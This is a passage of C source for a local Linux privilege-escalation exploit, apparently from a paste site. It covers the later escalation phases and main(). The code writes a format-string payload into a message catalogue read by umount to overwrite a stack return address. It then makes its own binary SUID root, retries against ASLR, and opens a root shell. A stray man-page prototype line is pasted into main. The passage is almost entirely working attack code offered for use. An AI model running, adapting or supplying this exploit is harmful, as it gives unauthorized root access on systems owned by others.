  685.           fprintf(stderr, "Stack content received, calculating next phase\n");
  686.           int *exploitOffsets=(int*)osReleaseExploitData[3];
  687. // This is the address, where source Pointer is pointing to.
  688.           void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
  689. // This is the stack address source for the target pointer.
  690.           void *sourcePointerLocation=sourcePointerTarget-0xd0;
  691.           void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
  692. // This is the stack address of the libc start function return
  693. // pointer.
  694.           void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
  695.           fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
  696.               sourcePointerLocation, sourcePointerTarget,
  697.               targetPointerTarget, libcStartFunctionReturnAddressSource);
  698. // So the libcStartFunctionReturnAddressSource is the lowest address
  699. // to manipulate, targetPointerTarget+...
  700.           void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
  701.           void *stackWriteData[]={
  702.               libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
  703.               libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
  704.           };
  705.           fprintf(stderr, "Changing return address from %p to %p, %p\n",
  706.               libcStartFunctionAddress, stackWriteData[0],
  707.               stackWriteData[1]);
  708.           escalationPhase++;
  709.           char *escalationString=(char*)malloc(1024);
  710.           createStackWriteFormatString(
  711.               escalationString, 1024,
  712.               exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
  713.               sourcePointerTarget, // Base value to write
  714.               exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
  715.               libcStartFunctionReturnAddressSource,
  716.               (unsigned short*)stackWriteData,
  717.               sizeof(stackWriteData)/sizeof(unsigned short)
  718.           );
  719.           fprintf(stderr, "Using escalation string %s", escalationString);
  720.           result=writeMessageCatalogue(
  721.               secondPhaseCataloguePathname,
  722.               (char*[]){
  723.                   "%s: mountpoint not found",
  724.                   "%s: not mounted",
  725.                   "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
  726.               },
  727.               (char*[]){
  728.                   escalationString,
  729.                   "BBBB5678%3$s\n",
  730.                   "BBBBABCD%s\n"},
  731.               3);
  732.           assert(!result);
  733.           break;
  734.         case 2:
  735.         case 3:
  736. // Wait for pipe connection and output any result from mount.
  737.           readDataLength=0;
  738.           break;
  739.         default:
  740.           fprintf(stderr, "Logic error, state %d\n", escalationPhase);
  741.           goto attemptEscalationCleanup;
  742.       }
  743.       if(moveLength) {
  744.         memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
  745.         readDataLength-=moveLength;
  746.       }
  747.     }
  748.   }
  749. attemptEscalationCleanup:
  750. // Wait some time to avoid killing umount even when exploit was
  751. // successful.
  752.   sleep(1);
  753.   close(childStdout);
  754. // It is safe to kill the child as we did not wait for it to finish
  755. // yet, so at least the zombie process is still here.
  756.   kill(childPid, SIGKILL);
  757.   pid_t waitedPid=waitpid(childPid, NULL, 0);
  758.   assert(waitedPid==childPid);
  759.   return(escalationSuccess);
  760. }
  761. /** This function invokes the shell specified via environment
  762.  *  or the default shell "/bin/sh" when undefined. The function
  763.  *  does not return on success.
  764.  *  @return -1 on error
  765.  */
  766. int invokeShell(char *shellName) {
  767.   if(!shellName)
  768.     shellName=getenv("SHELL");
  769.   if(!shellName)
  770.     shellName="/bin/sh";
  771.   char* shellArgs[]={shellName, NULL};
  772.   execve(shellName, shellArgs, environ);
  773.   fprintf(stderr, "Failed to launch shell %s\n", shellName);
  774.   return(-1);
  775. }
  776. int main(int argc, char **argv) {
  777.   char *programmName=argv[0];
  778.   int exitStatus=1;
  779.   if(getuid()==0) {
  780.     fprintf(stderr, "%s: you are already root, invoking shell ...\n",
  781.         programmName);
  782.     invokeShell(NULL);
  783.     return(1);
  784.   }
  785.   if(geteuid()==0) {
  786.     struct stat statBuf;
  787.     int result=stat("/proc/self/exe", &statBuf);
  788.     assert(!result);
  789.     if(statBuf.st_uid||statBuf.st_gid) {
  790.       fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
  791.           programmName);
  792.       int handle=open("/proc/self/exe", O_RDONLY);
  793.       fchown(handle, 0, 0);
  794.       fchmod(handle, 04755);
  795.       exit(0);
  796.     }
  797.     fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
  798.         programmName);
  799.     setresgid(0, 0, 0);
  800.     setresuid(0, 0, 0);
  801.     invokeShell(NULL);
  802.     return(1);
  803.   }
  804.   for(int argPos=1; argPos<argc;) {
  805.     char *argName=argv[argPos++];
  806.     if(argPos==argc) {
  807.       fprintf(stderr, "%s requires parameter\n", argName);
  808.       return(1);
  809.     }
  810.     if(!strcmp("--Pid", argName)) {
  811.       char *endPtr;
  812.       namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
  813.       if((errno)||(*endPtr)) {
  814.         fprintf(stderr, "Invalid pid value\n");
  815.         return(1);
  816.       }
  817.       killNamespacedProcessFlag=0;
  818.     } else {
  819.       fprintf(stderr, "Unknown argument %s\n", argName);
  820.       return(1);
  821.     }
  822.   }
  823.   fprintf(stderr, "%s: setting up environment ...\n", programmName);
  824.   if(!osRelease) {
  825.     if(detectOsRelease()) {
  826.       fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
  827.     }
  828.   }
  829.   umountPathname=findUmountBinaryPathname("/bin");
  830.   if((!umountPathname)&&(getenv("PATH")))
  831.     umountPathname=findUmountBinaryPathname(getenv("PATH"));
  832.   if(!umountPathname) {
  833.     fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
  834.     goto preReturnCleanup;
  835.   }
  836.   fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
  837.       umountPathname);
  838.   pid_t nsPid=prepareNamespacedProcess();
  839.   if(nsPid<0) {
  840.     goto preReturnCleanup;
  841.   }
  842. // Gaining root can still fail due to ASLR creating additional
  843. // path separators in memory addresses residing in area to be
  844. // overwritten by buffer underflow. Retry regaining until this
  845. // executable changes uid/gid.
  846.   int escalateMaxAttempts=10;
  847.   int excalateCurrentAttempt=0;
  848.   while(excalateCurrentAttempt<escalateMaxAttempts) {
  849.     excalateCurrentAttempt++;
  850.     fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
  851.         excalateCurrentAttempt, escalateMaxAttempts);
  852.     attemptEscalation();
  853.     struct stat statBuf;
  854.     int statResult=stat("/proc/self/exe", &statBuf);
  855.        int stat(const char *pathname, struct stat *buf);
  856.     if(statResult) {
  857.       fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
  858.       break;
  859.     }
  860.     if(statBuf.st_uid==0) {
  861.       fprintf(stderr, "Executable now root-owned\n");
  862.       goto escalateOk;
  863.     }
  864.   }
  865.   fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");
  866. preReturnCleanup:
  867.   if(namespacedProcessPid>0) {
  868.     if(killNamespacedProcessFlag) {
  869.       kill(namespacedProcessPid, SIGKILL);
  870.     } else {
  871. // We used an existing namespace or chroot to escalate. Remove
  872. // the files created there.
  873.       fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
  874.     }
  875.   }
  876.   if(!exitStatus) {
  877.     fprintf(stderr, "Cleanup completed, re-invoking binary\n");
  878.     invokeShell("/proc/self/exe");
  879.     exitStatus=1;
  880.   }
  881.   return(exitStatus);
  882. escalateOk:
  883.   exitStatus=0;
  884.   goto preReturnCleanup;
  885. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement